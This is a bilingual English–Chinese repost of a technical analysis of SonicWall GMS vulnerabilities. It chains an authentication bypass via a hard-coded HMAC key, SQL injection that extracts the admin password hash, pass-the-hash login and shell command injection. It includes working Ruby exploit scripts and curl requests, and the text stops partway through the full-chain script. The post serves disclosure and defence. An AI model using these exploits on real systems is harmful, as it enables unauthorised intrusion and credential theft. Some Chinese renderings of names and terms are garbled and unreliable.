CVE-2023-34127

渗透技巧 8个月前 admin
329 0 0
Technical Analysis 技术分析

Description 描述

On July 12, 2023, SonicWall released an advisory containing 15 different vulnerabilities in SonicWall Global Management System (GMS) and Analytics. By using a conjunction of the vulnerabilities released in their advisory, we determined that unauthenticated remote code execution is possible. We decided to post this under CVE-2023-34127—a post-authentication command-injection vulnerability—since that was the final issue we used in our chain to obtain remote code execution.
2023 年 7 月 12 日,SonicWall 发布了一份公告,其中包含 SonicWall 全球管理系统 (GMS) 和分析中的 15 个不同漏洞。通过结合使用其公告中发布的漏洞,我们确定可以执行未经身份验证的远程代码。我们决定将其发布在 CVE-2023-34127(一个身份验证后命令注入漏洞)下,因为这是我们在链中用于获取远程代码执行的最后一个问题。

The full list of CVEs covered by this advisory are:
此通报涵盖的 CVE 的完整列表包括:

  • CVE-2023-34123 Predictable Password Reset Key
    CVE-2023-34123 可预测的密码重置密钥
  • CVE-2023-34124 Web Service Authentication Bypass
    CVE-2023-34124 绕过 Web 服务身份验证
  • CVE-2023-34125 Post-Authenticated Arbitrary File Read via Backup File Directory Traversal
    CVE-2023-34125 通过备份文件目录遍历读取经过身份验证后的任意文件
  • CVE-2023-34126 Post-Authenticated Arbitrary File Upload
    CVE-2023-34126 身份验证后任意文件上传
  • CVE-2023-34127 Post-Authenticated Command Injection
    CVE-2023-34127 身份验证后命令注入
  • CVE-2023-34128 Hard-coded Tomcat Credentials (Privilege Escalation)
    CVE-2023-34128 硬编码的 Tomcat 凭据(权限提升)
  • CVE-2023-34129 Post-Authenticated Arbitrary File Write via Web Service (Zip Slip)
    CVE-2023-34129 通过 Web 服务进行身份验证后的任意文件写入(压缩单)
  • CVE-2023-34130 Use of Outdated Cryptographic Algorithm with Hard-coded Key
    CVE-2023-34130 使用带有硬编码密钥的过时加密算法
  • CVE-2023-34131  Unauthenticated Sensitive Information Leak
    CVE-2023-34131 未经身份验证的敏感信息泄露
  • CVE-2023-34132 Client-Side Hashing Function Allows Pass-the-Hash
    CVE-2023-34132 客户端哈希函数允许哈希传递
  • CVE-2023-34133 Multiple Unauthenticated SQL Injection Issues & Security Filter Bypass
    CVE-2023-34133 多个未经身份验证的 SQL 注入问题和安全过滤器绕过
  • CVE-2023-34134 Password Hash Read via Web Service
    CVE-2023-34134 通过 Web 服务读取密码哈希
  • CVE-2023-34135 Post Authenticated Arbitrary File Read via Web Service
    CVE-2023-34135 发布通过 Web 服务读取经过身份验证的任意文件
  • CVE-2023-34136 Unauthenticated File Upload
    CVE-2023-34136 未经身份验证的文件上传
  • CVE-2023-34137 CAS Authentication Bypass
    CVE-2023-34137 CAS 认证绕过

Affected products include:
受影响的产品包括:

  • SonicWall GMS 9.3.2-SP1 and before
    声波墙 GMS 9.3.2-SP1 及更早版本
  • SonicWall Analytics 2.5.0.4-R7 and before
    索尼克墙分析 2.5.0.4-R7 及更早版本

As indicated in our blog, we strongly recommend upgrading this software if it’s present on your network.
如我们的博客所示,如果您的网络上存在此软件,我们强烈建议您升级该软件。

Technical analysis 技术分析

We analyzed SonicWall GMS for Windows, versions 9.3.9320 and 9.3.9330, and confirmed our findings on the Linux version afterwards. We did our best to map the CVEs to code changes based on descriptions, but because all the changes came in a single patch, it’s hard to tell for sure which change corresponds to which CVE.
我们分析了适用于Windows的SonicWall GMS,版本9.3.9320和9.3.9330,并在之后证实了我们在Linux版本的发现。我们尽最大努力根据描述将 CVE 映射到代码更改,但由于所有更改都来自单个补丁,因此很难确定哪个更改对应于哪个 CVE。

Patch analysis 补丁分析

After installing the application, we copied the application directories to a Linux host for analysis. We grabbed all the .jar files (other than the Java Runtime Engine itself) and decompiled them with CFR using the following commands:
安装应用程序后,我们将应用程序目录复制到 Linux 主机进行分析。我们获取了所有.jar文件(除了 Java 运行时引擎本身),并使用以下命令使用 CFR 对其进行反编译:

ron@ronlab ~/GMSVP-9.3.9320 $ mkdir ../jars-9.3.9320

ron@ronlab ~/GMSVP-9.3.9320 $ find . -name '*.jar' -not -path './jre' -exec cp -v "{}" ../jars-9.3.9320/ \;
'./jre/lib/security/policy/unlimited/local_policy.jar' -> '../jars-9.3.9320/local_policy.jar'
'./jre/lib/security/policy/unlimited/US_export_policy.jar' -> '../jars-9.3.9320/US_export_policy.jar'
'./jre/lib/security/policy/limited/local_policy.jar' -> '../jars-9.3.9320/local_policy.jar'
'./jre/lib/security/policy/limited/US_export_policy.jar' -> '../jars-9.3.9320/US_export_policy.jar'
[...]

ron@ronlab ~/GMSVP-9.3.9320 $ cd ../jars-9.3.9320

ron@ronlab ~/jars-9.3.9320 $ mkdir decompiled-9.3.9320/

ron@ronlab ~/jars-9.3.9320 $ java -Xmx6g -jar ../cfr-0.152.jar *.jar --outputdir sonicwall-gms-9.3.9320/
Processing AdventNetLogging.jar (use silent to silence)
Processing com.adventnet.afp.log.LogLevel
Processing com.adventnet.afp.log.LogException
Processing com.adventnet.afp.log.ConsoleLog
Processing com.adventnet.afp.log.FileUtil
[...]

Once the decompilation finished, we used the command line diff tool to find changes across the entire codebase:
反编译完成后,我们使用命令行 diff 工具来查找整个代码库中的更改:

ron@ronlab ~ $ diff -rub sonicwall-gms-9.3.9320 sonicwall-gms-9.3.9330 | tee changes.diff 
diff '--color=auto' -rub sonicwall-gms-9.3.9320/com/microsoft/sqlserver/jdbc/AppDTVImpl.java sonicwall-gms-9.3.9330/com/microsoft/sqlserver/jdbc/AppDTVImpl.java
--- sonicwall-gms-9.3.9320/com/microsoft/sqlserver/jdbc/AppDTVImpl.java	2023-08-02 10:49:59.000000000 -0700
+++ sonicwall-gms-9.3.9330/com/microsoft/sqlserver/jdbc/AppDTVImpl.java	2023-08-02 10:49:52.000000000 -0700
@@ -3,6 +3,7 @@
  */
 package com.microsoft.sqlserver.jdbc;
 
+import com.microsoft.sqlserver.jdbc.CryptoMetadata;
 import com.microsoft.sqlserver.jdbc.DDC;
 import com.microsoft.sqlserver.jdbc.DTV;
 import com.microsoft.sqlserver.jdbc.DTVExecuteOp;
[...]

This wound up being about 26,000 lines of changes! Many of the changes aren’t relevant to security—for example, they changed a lot of hard-coded strings to constants. We manually searched the diff output for anything that looked like the issues listed in the advisory, and identified a number of likely mappings. Of the 15 vulnerabilities patched in the advisory, we determined that the following, in concert, could lead to remote code execution:
这最终是大约 26,000 行更改!许多更改与安全性无关,例如,它们将许多硬编码字符串更改为常量。我们手动搜索 diff 输出中任何类似于公告中列出的问题的内容,并确定了许多可能的映射。在通报中修补的 15 个漏洞中,我们确定以下漏洞可能导致远程代码执行:

  • CVE-2023-34124 Web Service Authentication Bypass
    CVE-2023-34124 绕过 Web 服务身份验证
  • CVE-2023-34133 Multiple Unauthenticated SQL Injection Issues & Security Filter Bypass
    CVE-2023-34133 多个未经身份验证的 SQL 注入问题和安全过滤器绕过
  • CVE-2023-34132 Client-Side Hashing Function Allows Pass-the-Hash
    CVE-2023-34132 客户端哈希函数允许哈希传递
  • CVE-2023-34127 Post-Authenticated Command Injection
    CVE-2023-34127 身份验证后命令注入

(As noted above, we can’t say with 100% confidence that we mapped the correct code changes to the correct CVE, but we believe the mappings are defensible).
(如上所述,我们不能 100% 自信地说我们将正确的代码更改映射到正确的 CVE,但我们相信这些映射是可以防御的)。

In addition to the patched vulnerabilities, we also exploited one additional unpatched issue to obtain remote code execution specifically on Windows—a failure to return after an error condition.
除了修补的漏洞之外,我们还利用了一个未修补的问题来获取专门在 Windows 上的远程代码执行 – 在错误条件后无法返回。

CVE-2023-34124 Web Service Authentication Bypass
CVE-2023-34124 绕过 Web 服务身份验证

The patch issued by SonicWall fixed at least three authentication bypass issues in the web services (/ws) application, but they are all very similar to the following code, which is found in com.sonicwall.ws.servlet.auth.MSWAuthenticator:
SonicWall 发布的补丁修复了 Web 服务 ( /ws ) 应用程序中至少三个身份验证绕过问题,但它们都与以下代码非常相似,可在 中找到 com.sonicwall.ws.servlet.auth.MSWAuthenticator :

package com.sonicwall.ws.servlet.auth;

import com.sonicwall.sgms.util.Base64;

public class MSWAuthenticator {
    public static final String TENANT_API_AUTH_PRIVATE_KEY = "?~!@#$%^^()";
    public static final String MSW_USER = "MSWUser";
    public static final String SYSTEM_USER = "system";

    // [... unused variables removed for brevity ...]

    private MSWAuthenticator() {
    }

    public static boolean authenticate(String user2, String domainName, String hash) {
        boolean authenticated = false;
        try {
            String computedHash;
            if (HelperMethods.stringsHaveLength(user2, hash) && (user2.equals(MSW_USER) || user2.equals(SYSTEM_USER)) && (computedHash = MSWAuthenticator.getAuthKey(domainName, TENANT_API_AUTH_PRIVATE_KEY)) != null) {
                authenticated = computedHash.equalsIgnoreCase(hash);
            }
        }
        // [... error handling removed for brevity ...]
        return authenticated;
    }

    public static String getAuthKey(String domainName, String privateKey) throws UnsupportedEncodingException, NoSuchAlgorithmException, InvalidKeyException {
        String authKey = "";
        SecretKeySpec key = new SecretKeySpec(privateKey.getBytes("UTF-8"), "HmacSHA1");
        Mac mac = Mac.getInstance("HmacSHA1");
        mac.init(key);
        byte[] bytes = mac.doFinal(domainName.getBytes("UTF-8"));
        authKey = new String(Base64.encode(bytes)).trim();
        return authKey;
    }
}

That code calculates an authentication token in the getAuthKey function, using the HMAC-SHA1 algorithm. The HMAC-SHA1 secret key is hard-coded (?~!@#$%^^()) and the data is the domainName argument. That code is called from the get function in the class com.sonicwall.ws.resource.hosted.Tenant:
该代码使用 HMAC-SHA1 算法计算 getAuthKey 函数中的身份验证令牌。HMAC-SHA1 密钥是硬编码的 ( ?~!@#$%^^() ),数据是 domainName 参数。该代码是从类 com.sonicwall.ws.resource.hosted.Tenant 中的 get 函数调用的:

package com.sonicwall.ws.resource.hosted;

// [... imports ...]

@Path(value="/msw/tenant/{tenantid}")
public class Tenant {

    // [ ... ]
    
    @GET
    @Produces(value={"application/json", "text/html"})
    public Response get(@PathParam(value="tenantid") String tenantId, @Context HttpServletRequest request) {
        // [ ... ]
        
        String authParam = request.getHeader("auth");
        if (authParam == null || authParam.isEmpty()) {
            parameters.put("error", "-21012: AUTH parameter is not available.");
            return Response.status(Response.Status.OK).entity(parameters).type("application/json").build();
        }

        // [ ... ]

        String user2 = (String)paramMap.get("user");
        String hash = (String)paramMap.get("hash");
        if (user2 == null || user2.isEmpty() || hash == null || hash.isEmpty()) {
            parameters.put("error", "-21008: User and or hash is not available.");
            return Response.status(Response.Status.OK).entity(parameters).type("application/json").build();
        }

        // Here's the important call to authenticate()
        if (!MSWAuthenticator.authenticate(user2, tenantId, hash)) {
            parameters.put("error", "-21009: Authentication failed due to invalid parameters.");
            return Response.status(Response.Status.OK).entity(parameters).type("application/json").build();
        }
        DomainManager dm = DomainManager.getInstance();

        // We'll come to this call later :)
        DomainInfo di = dm.getDomainInfoByTenantSerial(tenantId);
        if (null == di) {
            parameters.put("error", "-21001: Tenant ID is not valid.");
            return Response.status(Response.Status.OK).entity(parameters).type("application/json").build();
        }

        // [ ... ]
    }

From that code, we can see that the authenticate() function (from earlier) is called with the user2tenantId, and hash variables, all of which we control via either the URL or POST arguments. The secret used to validate a permitted request is hash, which we can calculate using tenantId and the hard-coded secret key (setting the tenantId argument to hello here as a demonstration):
从该代码中,我们可以看到函数 authenticate() (来自前面)是使用 user2 、 tenantId 和 hash 变量调用的,所有这些都我们通过 URL 或 POST 参数进行控制。用于验证允许请求的密钥是 hash ,我们可以使用 tenantId 和硬编码的密钥进行计算(将 tenantId 参数设置为 hello 此处作为演示):

ron@ronlab ~ $ gem install ruby-hmac
Successfully installed ruby-hmac-0.4.0
Parsing documentation for ruby-hmac-0.4.0
Done installing documentation for ruby-hmac after 0 seconds
1 gem installed

ron@ronlab ~ $ irb
3.0.2 :001 > require 'hmac-sha1'
 => true 
3.0.2 :002 > require 'base64'
 => true 
3.0.2 :003 > c = HMAC::SHA1::new('?~!@#$%^^()')
 => 
#<HMAC::SHA1:0x00000000027c3768                                                                             
...                                                                                                         
3.0.2 :004 > c.update('hello')
 => #<Digest::SHA1: e948b2f1c5cd4e67a6fea8d5ab1533323f7e6f24> 
3.0.2 :005 > puts Base64::strict_encode64(c.digest())
6Uiy8cXNTmem/qjVqxUzMj9+byQ=

If we try to access the endpoint without that token, we get an authentication error:
如果我们尝试在没有该令牌的情况下访问端点,则会收到身份验证错误:

ron@ronlab ~ $ curl -ik -H 'Auth: {"user": "system", "hash": "testtest"}' 'https://10.0.0.79/ws/msw/tenant/hello'
[ ... ]

{"error":"-21009: Authentication failed due to invalid parameters."}

But if we set the token we calculated, we get a new error message:
但是,如果我们设置计算的令牌,则会收到一条新的错误消息:

ron@ronlab ~ $ curl -ik -H 'Auth: {"user": "system", "hash": "6Uiy8cXNTmem/qjVqxUzMj9+byQ="}' 'https://10.0.0.79/ws/msw/tenant/hello'
[ ... ]

{"error":"-21001: Tenant ID is not valid."}

The hard-coded HMAC secret gives us access to the /ws/msw/tenant/{tenantId} endpoint! But what can we use that for?
硬编码的 HMAC 密钥使我们能够访问 /ws/msw/tenant/{tenantId} 端点!但是我们可以用它来做什么呢?

CVE-2023-34133 Multiple Unauthenticated SQL Injection Issues & Security Filter Bypass
CVE-2023-34133 多个未经身份验证的 SQL 注入问题和安全过滤器绕过

In the code block above, we teased this function call a bit:
在上面的代码块中,我们稍微调侃了一下这个函数调用:

    DomainInfo di = dm.getDomainInfoByTenantSerial(tenantId);
    if (null == di) {
        parameters.put("error", "-21001: Tenant ID is not valid.");
        return Response.status(Response.Status.OK).entity(parameters).type("application/json").build();
    }

That function is in the class com.sonicwall.sgms.manager.DomainManager. Now that we can access that function call, let’s have a look at it:
该函数在类 com.sonicwall.sgms.manager.DomainManager 中。现在我们可以访问该函数调用,让我们看一下它:

    public DomainInfo getDomainInfoByTenantSerial(String tenantSerial) {
        StringBuffer query = new StringBuffer("SELECT * FROM ").append(DOMAINS_TABLE_NAME).append(" WHERE ").append("TENANT_SERIAL").append(" = ");
        query.append("'").append(tenantSerial).append("'");
        List<DomainInfo> domainInfoList = this.getDomains(query.toString());
        if (domainInfoList != null && domainInfoList.size() == 1) {
            return domainInfoList.get(0);
        }
        return null;
    }

You might think that looks suspiciously SQL-injectable, and you’d be right! This is actually authenticated SQL injection, and the CVE lists multiple unauthenticated SQL injection vulnerabilities; however, as this was the first one we found, and it’s not blind, we opted to use this as part of our attack chain. SonicWall’s patch actually changes a massive number of SQL queries from ad-hoc escaping to parameterized queries, which is great from a security perspective, but it makes it much harder to figure out precisely which ones are actually vulnerabilities.
您可能会认为这看起来可疑的SQL可注入,那么您是对的!这实际上是经过身份验证的 SQL 注入,CVE 列出了多个未经身份验证的 SQL 注入漏洞;但是,由于这是我们发现的第一个,而且它不是盲目的,因此我们选择将其用作攻击链的一部分。SonicWall 的补丁实际上将大量 SQL 查询从临时转义更改为参数化查询,从安全角度来看,这很好,但它使得准确找出哪些实际上是漏洞变得更加困难。

The vulnerable tenantSerial argument to that function once again comes from the tenantId variable in the get() function, and originates from the URL itself. It’s the same value that’s used to generate the authentication token, which means the SQL injection payload is effectively “signed” using a hard-coded key. Consequently, we have to be somewhat careful with the order in which we sign and URI-encode the value.
该函数的易受攻击 tenantSerial 参数再次来自 get() 函数中的 tenantId 变量,并且源自 URL 本身。它与用于生成身份验证令牌的值相同,这意味着 SQL 注入有效负载使用硬编码密钥有效地“签名”。因此,我们必须对值进行签名和 URI 编码的顺序更加小心。

We ended up using a union select clause to read data from the database; to demonstrate, we put together this short Ruby script (note that this requires the httparty and ruby-hmac gems to be installed):
我们最终使用一个 union select 子句从数据库中读取数据;为了演示,我们整理了这个简短的 Ruby 脚本(请注意,这需要安装 httparty 和 ruby-hmac gems):

require 'httparty'
require 'hmac-sha1'
require 'json'

if ARGV[1].nil?
  $stderr.puts "Usage: #{$0} <target> <SQL>"
  exit 1
end

SECRET_KEY = '?~!@#$%^^()'
USER = 'system'

TARGET = ARGV[0]
SQL = ARGV[1]

QUERY = "abc' union select (select ID from SGMSDB.DOMAINS limit 1), '1', '2', '3', '4', '5', #{SQL}, '7', '8', '9"

c = HMAC::SHA1::new(SECRET_KEY)
c.update(QUERY)
TOKEN = Base64::strict_encode64(c.digest())

response = HTTParty.get(
  "https://#{TARGET}/ws/msw/tenant/#{QUERY.gsub(/ /, '%20').gsub(/;/, '%3b').gsub(/\\/, '%5c')}",
  verify: false,
  headers: {
    'Auth' => '{"user": "system", "hash": "' + TOKEN + '"}',
  }
)

if response.parsed_response['alias']
  puts "Result: #{response.parsed_response['alias']}"
else
  puts "Something went wrong:"
  pp response
end

We can use this to perform simple queries, such as getting the current MySQL user:
我们可以使用它来执行简单的查询,例如获取当前的 MySQL 用户:

ron@ronlab ~/pocs $ ruby ./cve-2023-34133-sqli-plus-bypass.rb 10.0.0.79 "current_user()"
Result: gmsuser@localhost

Or more complex queries, such as fetching the administrator’s password hash:
或者更复杂的查询,例如获取管理员的密码哈希:

ron@ronlab ~/pocs $ ruby ./cve-2023-34133-sqli-plus-bypass.rb 10.0.0.79 "(select concat(id, ':', password) from sgmsdb.users where id = 'admin')"
admin:5f4dcc3b5aa765d61d8327deb882cf99

If you work with hash functions a lot, you might recognize the hash 5f4dcc3b5aa765d61d8327deb882cf99 as the MD5 of password:
如果您经常使用哈希函数,您可能会将哈希识别 5f4dcc3b5aa765d61d8327deb882cf99 为 MD5 password :

ron@ronlab ~/pocs $ echo -ne 'password' | md5sum
5f4dcc3b5aa765d61d8327deb882cf99  -

Cracking an MD5 password is often very easy, but it’d be nice if there was a way to use that password without having to crack it.
破解MD5密码通常非常容易,但如果有一种方法可以在不必破解密码的情况下使用该密码,那就太好了。

Which brings us to…
这把我们带到了…

CVE-2023-34132 Client-Side Hashing Function Allows Pass-the-Hash
CVE-2023-34132 客户端哈希函数允许哈希传递

The concept of “pass the hash” almost always refers to the NTLM protocol, which is an authentication protocol used by Windows. While Windows has always been vulnerable to pass-the-hash attacks, it’s something that Microsoft seems to have largely just accepted. Other projects—like SonicWall—fix pass-the-hash vulnerabilities.
“传递哈希”的概念几乎总是指 NTLM 协议,这是 Windows 使用的身份验证协议。虽然Windows一直容易受到哈希传递攻击,但Microsoft似乎在很大程度上接受了它。其他项目(如 SonicWall)修复了哈希传递漏洞。

Typically, if a user steals password hashes from an application through, say, SQL injection, those hashes are supposed to be of limited utility. In order to authenticate, you need to crack the password, which requires time and resources to complete (and may be effectively impossible, if the password and hashing function are strong). In a “pass the hash” attack, however, the user can authenticate using the hash directly, meaning that knowing the hash is effectively equivalent to knowing the password.
通常,如果用户通过SQL注入从应用程序中窃取密码哈希,则这些哈希的效用应该有限。为了进行身份验证,您需要破解密码,这需要时间和资源才能完成(如果密码和哈希功能很强,则实际上可能是不可能的)。但是,在“传递哈希”攻击中,用户可以直接使用哈希进行身份验证,这意味着知道哈希实际上等同于知道密码。

SonicWall GMS has several different login pages that correspond to different core applications, but we’re interested in /appliance, whose login page is at /appliance/login. The part of the appliance login that deals with the password is found in this JavaScript code on the login page:
SonicWall GMS 有几个不同的登录页面,对应于不同的核心应用程序,但我们感兴趣的是 /appliance ,其登录页面位于 /appliance/login 。设备登录中处理密码的部分可在登录页面上的以下 JavaScript 代码中找到:

    if (isUserID(document.LOGIN.applianceUser)) {
        
        if(!isValidPasswordLength(document.LOGIN.appliancePassword, enforcePwdSecurity == "1"))
            document.LOGIN.needPwdChange.value = "3";
        else if(!isValidPasswordChars(document.LOGIN.appliancePassword, enforcePwdSecurity == "1"))
            document.LOGIN.needPwdChange.value = "4";
        else if (enforcePwdSecurity == "1" && isUserIDPasswordSame(document.LOGIN.applianceUser, document.LOGIN.appliancePassword))
            document.LOGIN.needPwdChange.value = "5";

        document.LOGIN.clientHash.value = getPwdHash(document.LOGIN.appliancePassword.value,'65813684801430099472240733556614');

        document.LOGIN.password.value = calcMD5(document.LOGIN.appliancePassword.value);
        document.LOGIN.appliancePassword.value = "Nice Try";

        return true;
    }

Interestingly, the numeric string in clientHash.value (6581...) changes on each refresh, which means it’s generated on the server (this is almost certainly an anti-replay value; by mixing a random value controlled by the server into the hash, it prevents the same hash from being reused in the future):
有趣的是,( 6581... ) 中的 clientHash.value 数字字符串在每次刷新时都会更改,这意味着它是在服务器上生成的(这几乎可以肯定是一个反重放值;通过将服务器控制的随机值混合到哈希中,它可以防止将来重复使用相同的哈希):

ron@ronlab ~ $ curl -sk https://10.0.0.79/appliance/login | grep 'clientHash.value = '
document.LOGIN.clientHash.value = getPwdHash(document.LOGIN.appliancePassword.value,'53618346255945438790342774591973');
				
ron@ronlab ~ $ curl -sk https://10.0.0.79/appliance/login | grep 'clientHash.value = '
document.LOGIN.clientHash.value = getPwdHash(document.LOGIN.appliancePassword.value,'55171110185279566090965334134332');
				
ron@ronlab ~ $ curl -sk https://10.0.0.79/appliance/login | grep 'clientHash.value = '
document.LOGIN.clientHash.value = getPwdHash(document.LOGIN.appliancePassword.value,'58356895572134527994028140510813');

The password and random number re passed into the getPwdHash() function as the arguments strPassPhrase and randonNumber1 (sic):
密码和随机数作为参数 strPassPhrase 重新传递到函数中, getPwdHash() 并且 randonNumber1 (原文如此):

/***************************************************************
** getPwdHash()
***************************************************************/
function getPwdHash(strPassPhrase, randonNumber1)
{
	var strInternalPageHash = new String();
    var strInternalPageSeedHash = new String();
    if (strPassPhrase.length > 0) {
		strPassPhrase =  calcMD5(strPassPhrase);
		strInternalPageHash = calcMD5(randonNumber1 + strPassPhrase);
	}
    return strInternalPageHash;     
}

The strInternalPageHash is effectively MD5(randonNumber1 + MD5(strPassPhrase)). Since we can pull MD5(strPassPhrase) from the database using SQL injection, we can use some algebra to insert it into the JavaScript function!
实际上是 strInternalPageHash MD5(randonNumber1 + MD5(strPassPhrase)) .由于我们可以使用 SQL 注入从数据库中提取 MD5(strPassPhrase) ,因此我们可以使用一些代数将其插入到 JavaScript 函数中!

Using the browser’s JavaScript console, we can call getPwdHash on the login page using a representative randonNumber:
使用浏览器的 JavaScript 控制台,我们可以使用代表 randonNumber 在登录页面上调用 getPwdHash :

> getPwdHash("password", "01632875528513276785331676028538")
"fcda79e813fd113f0f4c0672e62e54e3" 

We can calculate that same value using the password hash we grabbed in the SQL injection exploit above (the quotation marks are ignored, but are inserted for visibility):
我们可以使用我们在上面的 SQL 注入漏洞中获取的密码哈希来计算相同的值(引号被忽略,但插入是为了可见性):

ron@ronlab ~ $ echo -ne '01632875528513276785331676028538''5f4dcc3b5aa765d61d8327deb882cf99' | md5sum
fcda79e813fd113f0f4c0672e62e54e3  -

That means we can authenticate using only the hash we stole, giving us access to the /appliance endpoint as the admin user. Which brings us to the final vulnerability in the chain…
这意味着我们可以仅使用我们窃取的哈希进行身份验证,从而使我们能够以 admin 用户身份访问 /appliance 端点。这就把我们带到了链条中的最后一个漏洞……

CVE-2023-34127 Post-Authenticated Command Injection
CVE-2023-34127 身份验证后命令注入

The diff led us to the following code, removed from com.sonicwall.appliance.manager.FileSystemManager:
引导 diff 我们进入以下代码,从 com.sonicwall.appliance.manager.FileSystemManager :

    private class FileSearchThread implements Runnable {
        Thread statusThread = null;
        boolean continueToRun = true;
        private HttpSession session = null;
        private String searchFolder = null;
        private String searchFilter = null;

        public FileSearchThread(String searchFolder, HttpSession session, String searchFilter) {
            this.searchFilter = searchFilter; // <-- User controlled
            this.searchFolder = searchFolder; // <-- User controlled
            this.session = session;
        }

        // [ ... ]
        
        @Override
        public void run() {

            // [ ... ]
            String regex = "";
            String searchCriteria = this.searchFilter;
            if (searchCriteria.equals("*.*")) {
                searchCriteria = "*";
            }
            regex = regex + this.searchFolder + searchCriteria; // Both parts are user-controlled
            regex = ApplianceUtil.isWindows() ? regex + "," : regex + " ";
            String[] cmds = null;
            if (ApplianceUtil.isWindows()) {
                cmds = new String[]{"cmd /c dir /B /a:-d /O:N " + regex}; // User-controlled command (on Windows)
                LogUtil.debugOut((Object)("FileSearchThread: Command to get file list for: " + this.searchFolder + ": " + cmds), 3);
            } else {
                fileRAF = new File(ApplianceUtil.FILEPATH_TOMCAT_TEMP + "fileList_" + this.session.getId() + ".sh");
                RandomAccessFile raf = new RandomAccessFile(fileRAF, "rw");
                raf.write("#!/bin/sh\n".getBytes());
                String command = "ls " + regex + " | grep -v ^d | sort -f "; // User-controlled command (on Linux)
                LogUtil.debugOut((Object)("FileSearchThread: Command to get file list for: " + this.searchFolder + ": " + command), 3);
                raf.write((command + "\n").getBytes());
                raf.close();
                proc.exec("chmod 755 " + fileRAF.getCanonicalPath());
                cmds = new String[]{fileRAF.getCanonicalPath()};
            }
            long[] timeouts = new long[]{7200L};
            String[] outputFiles = new String[]{ApplianceUtil.FILEPATH_TOMCAT_TEMP + File.separator + "fileSearch_" + this.session.getId()};
            proc.exec(cmds, timeouts, outputFiles); // Execute the command
            proc.join();

            // [ ... ]
        }
    }

That code inserts user-controlled data directly into shell commands on both Windows and Linux platforms, which is a shell-command injection vulnerability. If we trace backwards, the FileSearchThread is called by:
该代码将用户控制的数据直接插入 Windows 和 Linux 平台上的 shell 命令中,这是一个 shell 命令注入漏洞。如果我们向后追溯, FileSearchThread 则调用:

  • searchFiles() in the class com.sonicwall.appliance.manager.FileSystemManager, which is called by…
    searchFiles() 在类 com.sonicwall.appliance.manager.FileSystemManager 中,由…
  • performSearch() in the class com.sonicwall.appliance.servlets.FileSystemAction, which is called by…
    performSearch() 在类 com.sonicwall.appliance.servlets.FileSystemAction 中,由…
  • perform() in the same class, which is called by…
    perform() 在同一个类中,由…
  • doPost() in the class com.sonicwall.appliance.servlets.ApplianceMainPage
    doPost() 在课堂 com.sonicwall.appliance.servlets.ApplianceMainPage 上

The doPost() function is accessible as a web application. It’s technically post-authentication, but using the SQL injection and pass-the-hash vulnerabilities above, we can bypass that. Here’s what the shell injection looks like (without the other vulnerabilities, for now):
该 doPost() 函数可作为 Web 应用程序访问。从技术上讲,它是身份验证后,但使用上面的SQL注入和传递哈希漏洞,我们可以绕过它。以下是外壳注入的样子(目前没有其他漏洞):

HTTParty.post(
  "https://#{TARGET}/appliance/applianceMainPage",
  verify: false,
  headers: {
    cookie: cookie_hash.to_cookie_string
  },
  body: {
    num: rand(0..999999),
    action: 'file_system',
    task: 'search',
    item: 'application_log',
    criteria: '*',
    width: '500',
    searchFolder: 'C:\\GMSVP\\etc\\',
    searchFilter: "appliance.jar|#{COMMAND} ", # The space is required after the command!
  },
)

Putting it All Together
将一切整合在一起

We combined all of these exploits into a single script that we called sonicboom. The all-in-one script is called cve-2023-34127-shell-injection.rb, and looks like this:
我们将所有这些漏洞组合成一个脚本,我们称之为sonicboom。多合一脚本称为 cve-2023-34127-shell-injection.rb,如下所示:

require 'httparty'
require 'hmac-sha1'
require 'json'
require 'digest'

if ARGV[1].nil?
  $stderr.puts "Usage: #{$0} <target> <command>"
  exit 1
end

TARGET = ARGV[0]
COMMAND = ARGV[1]

SECRET_KEY = '?~!@#$%^^()'

QUERY = "abc' union select (select ID from SGMSDB.DOMAINS limit 1), '1', '2', '3', '4', '5', (select concat(id, ':', password) from sgmsdb.users where id = 'admin' limit 1 offset 0), '7', '8', '9"


puts "** CVE-2023-34124: Generating a token to access /ws/msw/tenant..."
c = HMAC::SHA1::new(SECRET_KEY)
c.update(QUERY)
TOKEN = Base64::strict_encode64(c.digest())
$stderr.puts "Token: #{TOKEN}"

puts
puts "** CVE-2023-34133: Using SQL injection to grab the admin hash..."
response = HTTParty.get(
  "https://#{TARGET}/ws/msw/tenant/#{QUERY.gsub(/ /, '%20').gsub(/;/, '%3b').gsub(/\\/, '%5c')}",
  verify: false,
  headers: {
    'Auth' => '{"user": "system", "hash": "' + TOKEN + '"}',
  }
)

if response.parsed_response['alias'].nil? # TODO if parsed_response isn't a hash this will fail
  puts "Something went wrong:"
  pp response
  exit 1
end

username, hash = response.parsed_response['alias'].split(/:/)

puts "username = #{username}"
puts "password hash = #{hash}"

puts
puts "** CVE-2023-34132: Grabbing the randonNumber1 value from the login form so we can pass-the-hash"
response = HTTParty.get(
  "https://#{TARGET}/appliance/login",
  verify: false,
)

cookie_hash = HTTParty::CookieHash.new
response.get_fields('Set-Cookie').each { |c| cookie_hash.add_cookies(c) }

response.parsed_response =~ /value = getPwdHash.*'([0-9a-zA-Z]+)'/
randon_number1 = $1
client_hash = Digest::MD5.hexdigest(randon_number1 + hash)

puts "randonNumber1: #{randon_number1}"
puts "clientHash: #{client_hash}"
puts

puts "** Using the hash to authenticate..."
response = HTTParty.post(
  "https://#{TARGET}/appliance/applianceMainPage",
  verify: false,
  headers: {
    cookie: cookie_hash.to_cookie_string
  },
  body: {
    action: 'login',
    skipSessionCheck: '0',
    needPwdChange: '0',
    clientHash: client_hash,
    password: hash,
    applianceUser: username,
    appliancePassword: 'Nice Try',
    ctlTimezoneOffset: '0',
  },
)
cookie_hash = HTTParty::CookieHash.new
response.get_fields('Set-Cookie').each { |c| cookie_hash.add_cookies(c) }
puts "Obtained a cookie for admin (probably): #{response.get_fields('Set-Cookie')}"

puts
puts "** CVE-2023-34127: Attempting shell injection (Windows)..."

# This should work on Windows:
HTTParty.post(
  "https://#{TARGET}/appliance/applianceMainPage",
  verify: false,
  headers: {
    cookie: cookie_hash.to_cookie_string
  },
  body: {
    num: rand(0..999999),
    action: 'file_system',
    task: 'search',
    item: 'application_log',
    criteria: '*',
    width: '500',
    searchFolder: 'C:\\GMSVP\\etc\\',
    searchFilter: "appliance.jar|#{COMMAND} ", # The space is required here!
  },
)

# This should work on Linux:
puts "** CVE-2023-34127: Attempting shell injection (Linux)..."
HTTParty.post(
  "https://#{TARGET}/appliance/applianceMainPage",
  verify: false,
  headers: {
    cookie: cookie_hash.to_cookie_string
  },
  body: {
    num: rand(0..999999),
    action: 'file_system',
    task: 'search',
    item: 'application_log',
    criteria: '*',
    width: '500',
    searchFolder: '/opt/GMSVP/etc/',
